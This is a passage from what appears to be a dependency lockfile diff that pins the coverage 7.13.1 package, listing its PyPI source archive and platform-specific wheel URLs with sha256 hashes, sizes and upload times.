"7.13.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/23/f9/e92df5e07f3fc8d4c7f9a0f146ef75446bf870351cd37b788cf5897f8079/coverage-7.13.1.tar.gz", hash = "sha256:b7593fe7eb5feaa3fbb461ac79aac9f9fc0387a5ca8080b0c6fe2ca27b091afd", size = 825862, upload-time = "2025-12-28T15:42:56.969Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2d/9a/3742e58fd04b233df95c012ee9f3dfe04708a5e1d32613bd2d47d4e1be0d/coverage-7.13.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e1fa280b3ad78eea5be86f94f461c04943d942697e0dac889fa18fff8f5f9147", size = 218633, upload-time = "2025-12-28T15:40:10.165Z" }, + { url = "https://files.pythonhosted.org/packages/7e/45/7e6bdc94d89cd7c8017ce735cf50478ddfe765d4fbf0c24d71d30ea33d7a/coverage-7.13.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c3d8c679607220979434f494b139dfb00131ebf70bb406553d69c1ff01a5c33d", size = 219147, upload-time = "2025-12-28T15:40:12.069Z" }, + { url = "https://files.pythonhosted.org/packages/f7/38/0d6a258625fd7f10773fe94097dc16937a5f0e3e0cdf3adef67d3ac6baef/coverage-7.13.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:339dc63b3eba969067b00f41f15ad161bf2946613156fb131266d8debc8e44d0", size = 245894, upload-time = "2025-12-28T15:40:13.556Z" }, + { url = "https://files.pythonhosted.org/packages/27/58/409d15ea487986994cbd4d06376e9860e9b157cfbfd402b1236770ab8dd2/coverage-7.13.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:db622b999ffe49cb891f2fff3b340cdc2f9797d01a0a202a0973ba2562501d90", size = 247721, upload-time = "2025-12-28T15:40:15.37Z" }, + { url = "https://files.pythonhosted.org/packages/da/bf/6e8056a83fd7a96c93341f1ffe10df636dd89f26d5e7b9ca511ce3bcf0df/coverage-7.13.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d1443ba9acbb593fa7c1c29e011d7c9761545fe35e7652e85ce7f51a16f7e08d", size = 249585, upload-time = "2025-12-28T15:40:17.226Z" }, + { url = "https://files.pythonhosted.org/packages/f4/15/e1daff723f9f5959acb63cbe35b11203a9df77ee4b95b45fffd38b318390/coverage-7.13.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c832ec92c4499ac463186af72f9ed4d8daec15499b16f0a879b0d1c8e5cf4a3b", size = 246597, upload-time = "2025-12-28T15:40:19.028Z" }, + { url = "https://files.pythonhosted.org/packages/74/a6/1efd31c5433743a6ddbc9d37ac30c196bb07c7eab3d74fbb99b924c93174/coverage-7.13.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:562ec27dfa3f311e0db1ba243ec6e5f6ab96b1edfcfc6cf86f28038bc4961ce6", size = 247626, upload-time = "2025-12-28T15:40:20.846Z" }, + { url = "https://files.pythonhosted.org/packages/6d/9f/1609267dd3e749f57fdd66ca6752567d1c13b58a20a809dc409b263d0b5f/coverage-7.13.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4de84e71173d4dada2897e5a0e1b7877e5eefbfe0d6a44edee6ce31d9b8ec09e", size = 245629, upload-time = "2025-12-28T15:40:22.397Z" }, + { url = "https://files.pythonhosted.org/packages/e2/f6/6815a220d5ec2466383d7cc36131b9fa6ecbe95c50ec52a631ba733f306a/coverage-7.13.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:a5a68357f686f8c4d527a2dc04f52e669c2fc1cbde38f6f7eb6a0e58cbd17cae", size = 245901, upload-time = "2025-12-28T15:40:23.836Z" }, + { url = "https://files.pythonhosted.org/packages/ac/58/40576554cd12e0872faf6d2c0eb3bc85f71d78427946ddd19ad65201e2c0/coverage-7.13.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:77cc258aeb29a3417062758975521eae60af6f79e930d6993555eeac6a8eac29", size = 246505, upload-time = "2025-12-28T15:40:25.421Z" }, + { url = "https://files.pythonhosted.org/packages/3b/77/9233a90253fba576b0eee81707b5781d0e21d97478e5377b226c5b096c0f/coverage-7.13.1-cp310-cp310-win32.whl", hash = "sha256:bb4f8c3c9a9f34423dba193f241f617b08ffc63e27f67159f60ae6baf2dcfe0f", size = 221257, upload-time = "2025-12-28T15:40:27.217Z" }, + { url = "https://files.pythonhosted.org/packages/e0/43/e842ff30c1a0a623ec80db89befb84a3a7aad7bfe44a6ea77d5a3e61fedd/coverage-7.13.1-cp310-cp310-win_amd64.whl", hash = "sha256:c8e2706ceb622bc63bac98ebb10ef5da80ed70fbd8a7999a5076de3afaef0fb1", size = 222191, upload-time = "2025-12-28T15:40:28.916Z" }, + { url = "https://files.pythonhosted.org/packages/b4/9b/77baf488516e9ced25fc215a6f75d803493fc3f6a1a1227ac35697910c2a/coverage-7.13.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1a55d509a1dc5a5b708b5dad3b5334e07a16ad4c2185e27b40e4dba796ab7f88", size = 218755, upload-time = "2025-12-28T15:40:30.812Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cd/7ab01154e6eb79ee2fab76bf4d89e94c6648116557307ee4ebbb85e5c1bf/coverage-7.13.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4d010d080c4888371033baab27e47c9df7d6fb28d0b7b7adf85a4a49be9298b3", size = 219257, upload-time = "2025-12-28T15:40:32.333Z" }, + { url = "https://files.pythonhosted.org/packages/01/d5/b11ef7863ffbbdb509da0023fad1e9eda1c0eaea61a6d2ea5b17d4ac706e/coverage-7.13.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d938b4a840fb1523b9dfbbb454f652967f18e197569c32266d4d13f37244c3d9", size = 249657, upload-time = "2025-12-28T15:40:34.1Z" }, + { url = "https://files.pythonhosted.org/packages/f7/7c/347280982982383621d29b8c544cf497ae07ac41e44b1ca4903024131f55/coverage-7.13.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bf100a3288f9bb7f919b87eb84f87101e197535b9bd0e2c2b5b3179633324fee", size = 251581, upload-time = "2025-12-28T15:40:36.131Z" }, + { url = "https://files.pythonhosted.org/packages/82/f6/ebcfed11036ade4c0d75fa4453a6282bdd225bc073862766eec184a4c643/coverage-7.13.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef6688db9bf91ba111ae734ba6ef1a063304a881749726e0d3575f5c10a9facf", size = 253691, upload-time = "2025-12-28T15:40:37.626Z" }, + { url = "https://files.pythonhosted.org/packages/02/92/af8f5582787f5d1a8b130b2dcba785fa5e9a7a8e121a0bb2220a6fdbdb8a/coverage-7.13.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0b609fc9cdbd1f02e51f67f51e5aee60a841ef58a68d00d5ee2c0faf357481a3", size = 249799, upload-time = "2025-12-28T15:40:39.47Z" }, + { url = "https://files.pythonhosted.org/packages/24/aa/0e39a2a3b16eebf7f193863323edbff38b6daba711abaaf807d4290cf61a/coverage-7.13.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c43257717611ff5e9a1d79dce8e47566235ebda63328718d9b65dd640bc832ef", size = 251389, upload-time = "2025-12-28T15:40:40.954Z" }, + { url = "https://files.pythonhosted.org/packages/73/46/7f0c13111154dc5b978900c0ccee2e2ca239b910890e674a77f1363d483e/coverage-7.13.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:e09fbecc007f7b6afdfb3b07ce5bd9f8494b6856dd4f577d26c66c391b829851", size = 249450, upload-time = "2025-12-28T15:40:42.489Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ca/e80da6769e8b669ec3695598c58eef7ad98b0e26e66333996aee6316db23/coverage-7.13.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:a03a4f3a19a189919c7055098790285cc5c5b0b3976f8d227aea39dbf9f8bfdb", size = 249170, upload-time = "2025-12-28T15:40:44.279Z" }, + { url = "https://files.pythonhosted.org/packages/af/18/9e29baabdec1a8644157f572541079b4658199cfd372a578f84228e860de/coverage-7.13.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3820778ea1387c2b6a818caec01c63adc5b3750211af6447e8dcfb9b6f08dbba", size = 250081, upload-time = "2025-12-28T15:40:45.748Z" }, + { url = "https://files.pythonhosted.org/packages/00/f8/c3021625a71c3b2f516464d322e41636aea381018319050a8114105872ee/coverage-7.13.1-cp311-cp311-win32.whl", hash = "sha256:ff10896fa55167371960c5908150b434b71c876dfab97b69478f22c8b445ea19", size = 221281, upload-time = "2025-12-28T15:40:47.232Z" }, + { url = "https://files.pythonhosted.org/packages/27/56/c216625f453df6e0559ed666d246fcbaaa93f3aa99eaa5080cea1229aa3d/coverage-7.13.1-cp311-cp311-win_amd64.whl", hash = "sha256:a998cc0aeeea4c6d5622a3754da5a493055d2d95186bad877b0a34ea6e6dbe0a", size = 222215, upload-time = "2025-12-28T15:40:49.19Z" }, + { url = "https://files.pythonhosted.org/packages/5c/9a/be342e76f6e531cae6406dc46af0d350586f24d9b67fdfa6daee02df71af/coverage-7.13.1-cp311-cp311-win_arm64.whl", hash = "sha256:fea07c1a39a22614acb762e3fbbb4011f65eedafcb2948feeef641ac78b4ee5c", size = 220886, upload-time = "2025-12-28T15:40:51.067Z" }, + { url = "https://files.pythonhosted.org/packages/ce/8a/87af46cccdfa78f53db747b09f5f9a21d5fc38d796834adac09b30a8ce74/coverage-7.13.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6f34591000f06e62085b1865c9bc5f7858df748834662a51edadfd2c3bfe0dd3", size = 218927, upload-time = "2025-12-28T15:40:52.814Z" }, + { url = "https://files.pythonhosted.org/packages/82/a8/6e22fdc67242a4a5a153f9438d05944553121c8f4ba70cb072af4c41362e/coverage-7.13.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b67e47c5595b9224599016e333f5ec25392597a89d5744658f837d204e16c63e", size = 219288, upload-time = "2025-12-28T15:40:54.262Z" }, + { url = "https://files.pythonhosted.org/packages/d0/0a/853a76e03b0f7c4375e2ca025df45c918beb367f3e20a0a8e91967f6e96c/coverage-7.13.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3e7b8bd70c48ffb28461ebe092c2345536fb18bbbf19d287c8913699735f505c", size = 250786, upload-time = "2025-12-28T15:40:56.059Z" }, + { url = "https://files.pythonhosted.org/packages/ea/b4/694159c15c52b9f7ec7adf49d50e5f8ee71d3e9ef38adb4445d13dd56c20/coverage-7.13.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c223d078112e90dc0e5c4e35b98b9584164bea9fbbd221c0b21c5241f6d51b62", size = 253543, upload-time = "2025-12-28T15:40:57.585Z" }, + { url = "https://files.pythonhosted.org/packages/96/b2/7f1f0437a5c855f87e17cf5d0dc35920b6440ff2b58b1ba9788c059c26c8/coverage-7.13.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:794f7c05af0763b1bbd1b9e6eff0e52ad068be3b12cd96c87de037b01390c968", size = 254635, upload-time = "2025-12-28T15:40:59.443Z" }, + { url = "https://files.pythonhosted.org/packages/e9/d1/73c3fdb8d7d3bddd9473c9c6a2e0682f09fc3dfbcb9c3f36412a7368bcab/coverage-7.13.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0642eae483cc8c2902e4af7298bf886d605e80f26382124cddc3967c2a3df09e", size = 251202, upload-time = "2025-12-28T15:41:01.328Z" }, + { url = "https://files.pythonhosted.org/packages/66/3c/f0edf75dcc152f145d5598329e864bbbe04ab78660fe3e8e395f9fff010f/coverage-7.13.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9f5e772ed5fef25b3de9f2008fe67b92d46831bd2bc5bdc5dd6bfd06b83b316f", size = 252566, upload-time = "2025-12-28T15:41:03.319Z" }, + { url = "https://files.pythonhosted.org/packages/17/b3/e64206d3c5f7dcbceafd14941345a754d3dbc78a823a6ed526e23b9cdaab/coverage-7.13.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:45980ea19277dc0a579e432aef6a504fe098ef3a9032ead15e446eb0f1191aee", size = 250711, upload-time = "2025-12-28T15:41:06.411Z" }, + { url = "https://files.pythonhosted.org/packages/dc/ad/28a3eb970a8ef5b479ee7f0c484a19c34e277479a5b70269dc652b730733/coverage-7.13.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:e4f18eca6028ffa62adbd185a8f1e1dd242f2e68164dba5c2b74a5204850b4cf", size = 250278, upload-time = "2025-12-28T15:41:08.285Z" }, + { url = "https://files.pythonhosted.org/packages/54/e3/c8f0f1a93133e3e1291ca76cbb63565bd4b5c5df63b141f539d747fff348/coverage-7.13.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f8dca5590fec7a89ed6826fce625595279e586ead52e9e958d3237821fbc750c", size = 252154, upload-time = "2025-12-28T15:41:09.969Z" }, + { url = "https://files.pythonhosted.org/packages/d0/bf/9939c5d6859c380e405b19e736321f1c7d402728792f4c752ad1adcce005/coverage-7.13.1-cp312-cp312-win32.whl", hash = "sha256:ff86d4e85188bba72cfb876df3e11fa243439882c55957184af44a35bd5880b7", size = 221487, upload-time = "2025-12-28T15:41:11.468Z" }, + { url = "https://files.pythonhosted.org/packages/fa/dc/7282856a407c621c2aad74021680a01b23010bb8ebf427cf5eacda2e876f/coverage-7.13.1-cp312-cp312-win_amd64.whl", hash = "sha256:16cc1da46c04fb0fb128b4dc430b78fa2aba8a6c0c9f8eb391fd5103409a6ac6", size = 222299, upload-time = "2025-12-28T15:41:13.386Z" }, + { url = "https://files.pythonhosted.org/packages/10/79/176a11203412c350b3e9578620013af35bcdb79b651eb976f4a4b32044fa/coverage-7.13.1-cp312-cp312-win_arm64.whl", hash = "sha256:8d9bc218650022a768f3775dd7fdac1886437325d8d295d923ebcfef4892ad5c", size = 220941, upload-time = "2025-12-28T15:41:14.975Z" }, + { url = "https://files.pythonhosted.org/packages/a3/a4/e98e689347a1ff1a7f67932ab535cef82eb5e78f32a9e4132e114bbb3a0a/coverage-7.13.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:cb237bfd0ef4d5eb6a19e29f9e528ac67ac3be932ea6b44fb6cc09b9f3ecff78", size = 218951, upload-time = "2025-12-28T15:41:16.653Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/7cbfe2bdc6e2f03d6b240d23dc45fdaf3fd270aaf2d640be77b7f16989ab/coverage-7.13.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1dcb645d7e34dcbcc96cd7c132b1fc55c39263ca62eb961c064eb3928997363b", size = 219325, upload-time = "2025-12-28T15:41:18.609Z" }, + { url = "https://files.pythonhosted.org/packages/59/f6/efdabdb4929487baeb7cb2a9f7dac457d9356f6ad1b255be283d58b16316/coverage-7.13.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3d42df8201e00384736f0df9be2ced39324c3907607d17d50d50116c989d84cd", size = 250309, upload-time = "2025-12-28T15:41:20.629Z" }, + { url = "https://files.pythonhosted.org/packages/12/da/91a52516e9d5aea87d32d1523f9cdcf7a35a3b298e6be05d6509ba3cfab2/coverage-7.13.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fa3edde1aa8807de1d05934982416cb3ec46d1d4d91e280bcce7cca01c507992", size = 252907, upload-time = "2025-12-28T15:41:22.257Z" }, + { url = "https://files.pythonhosted.org/packages/75/38/f1ea837e3dc1231e086db1638947e00d264e7e8c41aa8ecacf6e1e0c05f4/coverage-7.13.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9edd0e01a343766add6817bc448408858ba6b489039eaaa2018474e4001651a4", size = 254148, upload-time = "2025-12-28T15:41:23.87Z" }, + { url = "https://files.pythonhosted.org/packages/7f/43/f4f16b881aaa34954ba446318dea6b9ed5405dd725dd8daac2358eda869a/coverage-7.13.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:985b7836931d033570b94c94713c6dba5f9d3ff26045f72c3e5dbc5fe3361e5a", size = 250515, upload-time = "2025-12-28T15:41:25.437Z" }, + { url = "https://files.pythonhosted.org/packages/84/34/8cba7f00078bd468ea914134e0144263194ce849ec3baad187ffb6203d1c/coverage-7.13.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ffed1e4980889765c84a5d1a566159e363b71d6b6fbaf0bebc9d3c30bc016766", size = 252292, upload-time = "2025-12-28T15:41:28.459Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a4/cffac66c7652d84ee4ac52d3ccb94c015687d3b513f9db04bfcac2ac800d/coverage-7.13.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:8842af7f175078456b8b17f1b73a0d16a65dcbdc653ecefeb00a56b3c8c298c4", size = 250242, upload-time = "2025-12-28T15:41:30.02Z" }, + { url = "https://files.pythonhosted.org/packages/f4/78/9a64d462263dde416f3c0067efade7b52b52796f489b1037a95b0dc389c9/coverage-7.13.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:ccd7a6fca48ca9c131d9b0a2972a581e28b13416fc313fb98b6d24a03ce9a398", size = 250068, upload-time = "2025-12-28T15:41:32.007Z" }, + { url = "https://files.pythonhosted.org/packages/69/c8/a8994f5fece06db7c4a97c8fc1973684e178599b42e66280dded0524ef00/coverage-7.13.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0403f647055de2609be776965108447deb8e384fe4a553c119e3ff6bfbab4784", size = 251846, upload-time = "2025-12-28T15:41:33.946Z" }, + { url = "https://files.pythonhosted.org/packages/cc/f7/91fa73c4b80305c86598a2d4e54ba22df6bf7d0d97500944af7ef155d9f7/coverage-7.13.1-cp313-cp313-win32.whl", hash = "sha256:549d195116a1ba1e1ae2f5ca143f9777800f6636eab917d4f02b5310d6d73461", size = 221512, upload-time = "2025-12-28T15:41:35.519Z" }, + { url = "https://files.pythonhosted.org/packages/45/0b/0768b4231d5a044da8f75e097a8714ae1041246bb765d6b5563bab456735/coverage-7.13.1-cp313-cp313-win_amd64.whl", hash = "sha256:5899d28b5276f536fcf840b18b61a9fce23cc3aec1d114c44c07fe94ebeaa500", size = 222321, upload-time = "2025-12-28T15:41:37.371Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b8/bdcb7253b7e85157282450262008f1366aa04663f3e3e4c30436f596c3e2/coverage-7.13.1-cp313-cp313-win_arm64.whl", hash = "sha256:868a2fae76dfb06e87291bcbd4dcbcc778a8500510b618d50496e520bd94d9b9", size = 220949, upload-time = "2025-12-28T15:41:39.553Z" }, + { url = "https://files.pythonhosted.org/packages/70/52/f2be52cc445ff75ea8397948c96c1b4ee14f7f9086ea62fc929c5ae7b717/coverage-7.13.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:67170979de0dacac3f3097d02b0ad188d8edcea44ccc44aaa0550af49150c7dc", size = 219643, upload-time = "2025-12-28T15:41:41.567Z" }, + { url = "https://files.pythonhosted.org/packages/47/79/c85e378eaa239e2edec0c5523f71542c7793fe3340954eafb0bc3904d32d/coverage-7.13.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f80e2bb21bfab56ed7405c2d79d34b5dc0bc96c2c1d2a067b643a09fb756c43a", size = 219997, upload-time = "2025-12-28T15:41:43.418Z" }, + { url = "https://files.pythonhosted.org/packages/fe/9b/b1ade8bfb653c0bbce2d6d6e90cc6c254cbb99b7248531cc76253cb4da6d/coverage-7.13.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f83351e0f7dcdb14d7326c3d8d8c4e915fa685cbfdc6281f9470d97a04e9dfe4", size = 261296, upload-time = "2025-12-28T15:41:45.207Z" }, + { url = "https://files.pythonhosted.org/packages/1f/af/ebf91e3e1a2473d523e87e87fd8581e0aa08741b96265730e2d79ce78d8d/coverage-7.13.1-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bb3f6562e89bad0110afbe64e485aac2462efdce6232cdec7862a095dc3412f6", size = 263363, upload-time = "2025-12-28T15:41:47.163Z" }, + { url = "https://files.pythonhosted.org/packages/c4/8b/fb2423526d446596624ac7fde12ea4262e66f86f5120114c3cfd0bb2befa/coverage-7.13.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77545b5dcda13b70f872c3b5974ac64c21d05e65b1590b441c8560115dc3a0d1", size = 265783, upload-time = "2025-12-28T15:41:49.03Z" }, + { url = "https://files.pythonhosted.org/packages/9b/26/ef2adb1e22674913b89f0fe7490ecadcef4a71fa96f5ced90c60ec358789/coverage-7.13.1-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4d240d260a1aed814790bbe1f10a5ff31ce6c21bc78f0da4a1e8268d6c80dbd", size = 260508, upload-time = "2025-12-28T15:41:51.035Z" }, + { url = "https://files.pythonhosted.org/packages/ce/7d/f0f59b3404caf662e7b5346247883887687c074ce67ba453ea08c612b1d5/coverage-7.13.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:d2287ac9360dec3837bfdad969963a5d073a09a85d898bd86bea82aa8876ef3c", size = 263357, upload-time = "2025-12-28T15:41:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/1a/b1/29896492b0b1a047604d35d6fa804f12818fa30cdad660763a5f3159e158/coverage-7.13.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0d2c11f3ea4db66b5cbded23b20185c35066892c67d80ec4be4bab257b9ad1e0", size = 260978, upload-time = "2025-12-28T15:41:54.589Z" }, + { url = "https://files.pythonhosted.org/packages/48/f2/971de1238a62e6f0a4128d37adadc8bb882ee96afbe03ff1570291754629/coverage-7.13.1-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:3fc6a169517ca0d7ca6846c3c5392ef2b9e38896f61d615cb75b9e7134d4ee1e", size = 259877, upload-time = "2025-12-28T15:41:56.263Z" }, + { url = "https://files.pythonhosted.org/packages/6a/fc/0474efcbb590ff8628830e9aaec5f1831594874360e3251f1fdec31d07a3/coverage-7.13.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d10a2ed46386e850bb3de503a54f9fe8192e5917fcbb143bfef653a9355e9a53", size = 262069, upload-time = "2025-12-28T15:41:58.093Z" }, + { url = "https://files.pythonhosted.org/packages/88/4f/3c159b7953db37a7b44c0eab8a95c37d1aa4257c47b4602c04022d5cb975/coverage-7.13.1-cp313-cp313t-win32.whl", hash = "sha256:75a6f4aa904301dab8022397a22c0039edc1f51e90b83dbd4464b8a38dc87842", size = 222184, upload-time = "2025-12-28T15:41:59.763Z" }, + { url = "https://files.pythonhosted.org/packages/58/a5/6b57d28f81417f9335774f20679d9d13b9a8fb90cd6160957aa3b54a2379/coverage-7.13.1-cp313-cp313t-win_amd64.whl", hash = "sha256:309ef5706e95e62578cda256b97f5e097916a2c26247c287bbe74794e7150df2", size = 223250, upload-time = "2025-12-28T15:42:01.52Z" }, + { url = "https://files.pythonhosted.org/packages/81/7c/160796f3b035acfbb58be80e02e484548595aa67e16a6345e7910ace0a38/coverage-7.13.1-cp313-cp313t-win_arm64.whl", hash = "sha256:92f980729e79b5d16d221038dbf2e8f9a9136afa072f9d5d6ed4cb984b126a09", size = 221521, upload-time = "2025-12-28T15:42:03.275Z" }, + { url = "https://files.pythonhosted.org/packages/aa/8e/ba0e597560c6563fc0adb902fda6526df5d4aa73bb10adf0574d03bd2206/coverage-7.13.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:97ab3647280d458a1f9adb85244e81587505a43c0c7cff851f5116cd2814b894", size = 218996, upload-time = "2025-12-28T15:42:04.978Z" }, + { url = "https://files.pythonhosted.org/packages/6b/8e/764c6e116f4221dc7aa26c4061181ff92edb9c799adae6433d18eeba7a14/coverage-7.13.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:8f572d989142e0908e6acf57ad1b9b86989ff057c006d13b76c146ec6a20216a", size = 219326, upload-time = "2025-12-28T15:42:06.691Z" }, + { url = "https://files.pythonhosted.org/packages/4f/a6/6130dc6d8da28cdcbb0f2bf8865aeca9b157622f7c0031e48c6cf9a0e591/coverage-7.13.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d72140ccf8a147e94274024ff6fd8fb7811354cf7ef88b1f0a988ebaa5bc774f", size = 250374, upload-time = "2025-12-28T15:42:08.786Z" }, + { url = "https://files.pythonhosted.org/packages/82/2b/783ded568f7cd6b677762f780ad338bf4b4750205860c17c25f7c708995e/coverage-7.13.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d3c9f051b028810f5a87c88e5d6e9af3c0ff32ef62763bf15d29f740453ca909", size = 252882, upload-time = "2025-12-28T15:42:10.515Z" }, + { url = "https://files.pythonhosted.org/packages/cd/b2/9808766d082e6a4d59eb0cc881a57fc1600eb2c5882813eefff8254f71b5/coverage-7.13.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f398ba4df52d30b1763f62eed9de5620dcde96e6f491f4c62686736b155aa6e4", size = 254218, upload-time = "2025-12-28T15:42:12.208Z" }, + { url = "https://files.pythonhosted.org/packages/44/ea/52a985bb447c871cb4d2e376e401116520991b597c85afdde1ea9ef54f2c/coverage-7.13.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:132718176cc723026d201e347f800cd1a9e4b62ccd3f82476950834dad501c75", size = 250391, upload-time = "2025-12-28T15:42:14.21Z" }, + { url = "https://files.pythonhosted.org/packages/7f/1d/125b36cc12310718873cfc8209ecfbc1008f14f4f5fa0662aa608e579353/coverage-7.13.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9e549d642426e3579b3f4b92d0431543b012dcb6e825c91619d4e93b7363c3f9", size = 252239, upload-time = "2025-12-28T15:42:16.292Z" }, + { url = "https://files.pythonhosted.org/packages/6a/16/10c1c164950cade470107f9f14bbac8485f8fb8515f515fca53d337e4a7f/coverage-7.13.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:90480b2134999301eea795b3a9dbf606c6fbab1b489150c501da84a959442465", size = 250196, upload-time = "2025-12-28T15:42:18.54Z" }, + { url = "https://files.pythonhosted.org/packages/2a/c6/cd860fac08780c6fd659732f6ced1b40b79c35977c1356344e44d72ba6c4/coverage-7.13.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e825dbb7f84dfa24663dd75835e7257f8882629fc11f03ecf77d84a75134b864", size = 250008, upload-time = "2025-12-28T15:42:20.365Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/a8c58d3d38f82a5711e1e0a67268362af48e1a03df27c03072ac30feefcf/coverage-7.13.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:623dcc6d7a7ba450bbdbeedbaa0c42b329bdae16491af2282f12a7e809be7eb9", size = 251671, upload-time = "2025-12-28T15:42:22.114Z" }, + { url = "https://files.pythonhosted.org/packages/f0/bc/fd4c1da651d037a1e3d53e8cb3f8182f4b53271ffa9a95a2e211bacc0349/coverage-7.13.1-cp314-cp314-win32.whl", hash = "sha256:6e73ebb44dca5f708dc871fe0b90cf4cff1a13f9956f747cc87b535a840386f5", size = 221777, upload-time = "2025-12-28T15:42:23.919Z" }, + { url = "https://files.pythonhosted.org/packages/4b/50/71acabdc8948464c17e90b5ffd92358579bd0910732c2a1c9537d7536aa6/coverage-7.13.1-cp314-cp314-win_amd64.whl", hash = "sha256:be753b225d159feb397bd0bf91ae86f689bad0da09d3b301478cd39b878ab31a", size = 222592, upload-time = "2025-12-28T15:42:25.619Z" }, + { url = "https://files.pythonhosted.org/packages/f7/c8/a6fb943081bb0cc926499c7907731a6dc9efc2cbdc76d738c0ab752f1a32/coverage-7.13.1-cp314-cp314-win_arm64.whl", hash = "sha256:228b90f613b25ba0019361e4ab81520b343b622fc657daf7e501c4ed6a2366c0", size = 221169, upload-time = "2025-12-28T15:42:27.629Z" }, + { url = "https://files.pythonhosted.org/packages/16/61/d5b7a0a0e0e40d62e59bc8c7aa1afbd86280d82728ba97f0673b746b78e2/coverage-7.13.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:60cfb538fe9ef86e5b2ab0ca8fc8d62524777f6c611dcaf76dc16fbe9b8e698a", size = 219730, upload-time = "2025-12-28T15:42:29.306Z" }, + { url = "https://files.pythonhosted.org/packages/a3/2c/8881326445fd071bb49514d1ce97d18a46a980712b51fee84f9ab42845b4/coverage-7.13.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = 